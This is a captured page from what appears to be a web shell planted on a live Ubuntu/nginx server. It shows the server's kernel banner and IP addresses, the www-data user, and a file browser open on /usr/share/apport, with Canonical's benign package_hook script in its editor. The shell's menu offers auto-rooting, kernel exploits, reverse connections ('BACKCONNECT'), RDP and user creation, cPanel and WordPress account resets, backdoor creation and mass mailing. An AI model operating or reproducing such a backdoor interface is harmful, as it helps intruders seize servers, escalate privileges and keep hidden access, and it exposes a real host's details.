Linux ubuntu 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64
nginx/1.24.0
: 67.217.245.49 | : 216.73.216.153
Cant Read [ /etc/named.conf ]
8.3.6
www-data
Bypass.pw
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
apport /
[ HOME SHELL ]
Name
Size
Permission
Action
general-hooks
[ DIR ]
drwxr-xr-x
package-hooks
[ DIR ]
drwxr-xr-x
symptoms
[ DIR ]
drwxr-xr-x
testsuite
[ DIR ]
drwxr-xr-x
apport
43.68
KB
-rwxr-xr-x
apport-checkreports
1.37
KB
-rwxr-xr-x
apport.jar
2.38
KB
-rw-r--r--
apportcheckresume
3.64
KB
-rwxr-xr-x
dump_acpi_tables.py
1.72
KB
-rwxr-xr-x
gcc_ice_hook
1.29
KB
-rwxr-xr-x
is-enabled
672
B
-rwxr-xr-x
iwlwifi_error_dump
1.96
KB
-rwxr-xr-x
java_uncaught_exception
2.59
KB
-rwxr-xr-x
kernel_crashdump
2.72
KB
-rwxr-xr-x
kernel_oops
1.25
KB
-rwxr-xr-x
package_hook
2.86
KB
-rwxr-xr-x
recoverable_problem
2.4
KB
-rwxr-xr-x
root_info_wrapper
96
B
-rwxr-xr-x
unkillable_shutdown
3.53
KB
-rwxr-xr-x
whoopsie-upload-all
8.33
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : package_hook
#!/usr/bin/python3 # # Copyright (c) 2007 - 2009 Canonical Ltd. # Author: Martin Pitt <martin.pitt@ubuntu.com> # # This program is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by the # Free Software Foundation; either version 2 of the License, or (at your # option) any later version. See http://www.gnu.org/copyleft/gpl.html for # the full text of the license. """Collect information about a package installation/upgrade failure.""" import argparse import contextlib import os import sys import apport import apport.fileutils def mkattrname(path): """Convert a file path to a problem report attribute name.""" name = "" for directory in path.split(os.sep): if not directory: continue name += "".join( [c for c in directory[0].upper() + directory[1:] if c.isalnum()] ) return name def parse_args(): """Parse command line options and return arguments.""" parser = argparse.ArgumentParser() parser.add_argument( "-p", "--package", required=True, help="Specify the package name which failed to upgrade (mandatory)", ) parser.add_argument( "-l", "--log", action="append", dest="logs", help="Append given log file, or, if it is a directory," " all files in it (can be specified multiple times)", ) parser.add_argument( "-t", "--tags", help="Add the following tags to the bug report (comma separated)", ) args = parser.parse_args() if args.tags: args.tags = args.tags.split(",") return args # pylint: disable-next=missing-function-docstring def main(): # parse command line arguments options = parse_args() # create report report = apport.Report("Package") report.add_package(options.package) # get_source can fail on distribution upgrades where the package in question has # been removed from the newer release. See https://launchpad.net/bugs/2078695 with contextlib.suppress(ValueError): report["SourcePackage"] = apport.packaging.get_source(options.package) report["ErrorMessage"] = (sys.stdin, False) if options.tags: report.add_tags(options.tags) for line in options.logs or []: if os.path.isfile(line): report[mkattrname(line)] = (line,) elif os.path.isdir(line): for log_file in os.listdir(line): path = os.path.join(line, log_file) if os.path.isfile(path): report[mkattrname(path)] = (path,) # write report try: with apport.fileutils.make_report_file(report) as report_file: report.write(report_file) except OSError as error: apport.fatal("Cannot create report: %s", str(error)) if __name__ == "__main__": main()
Close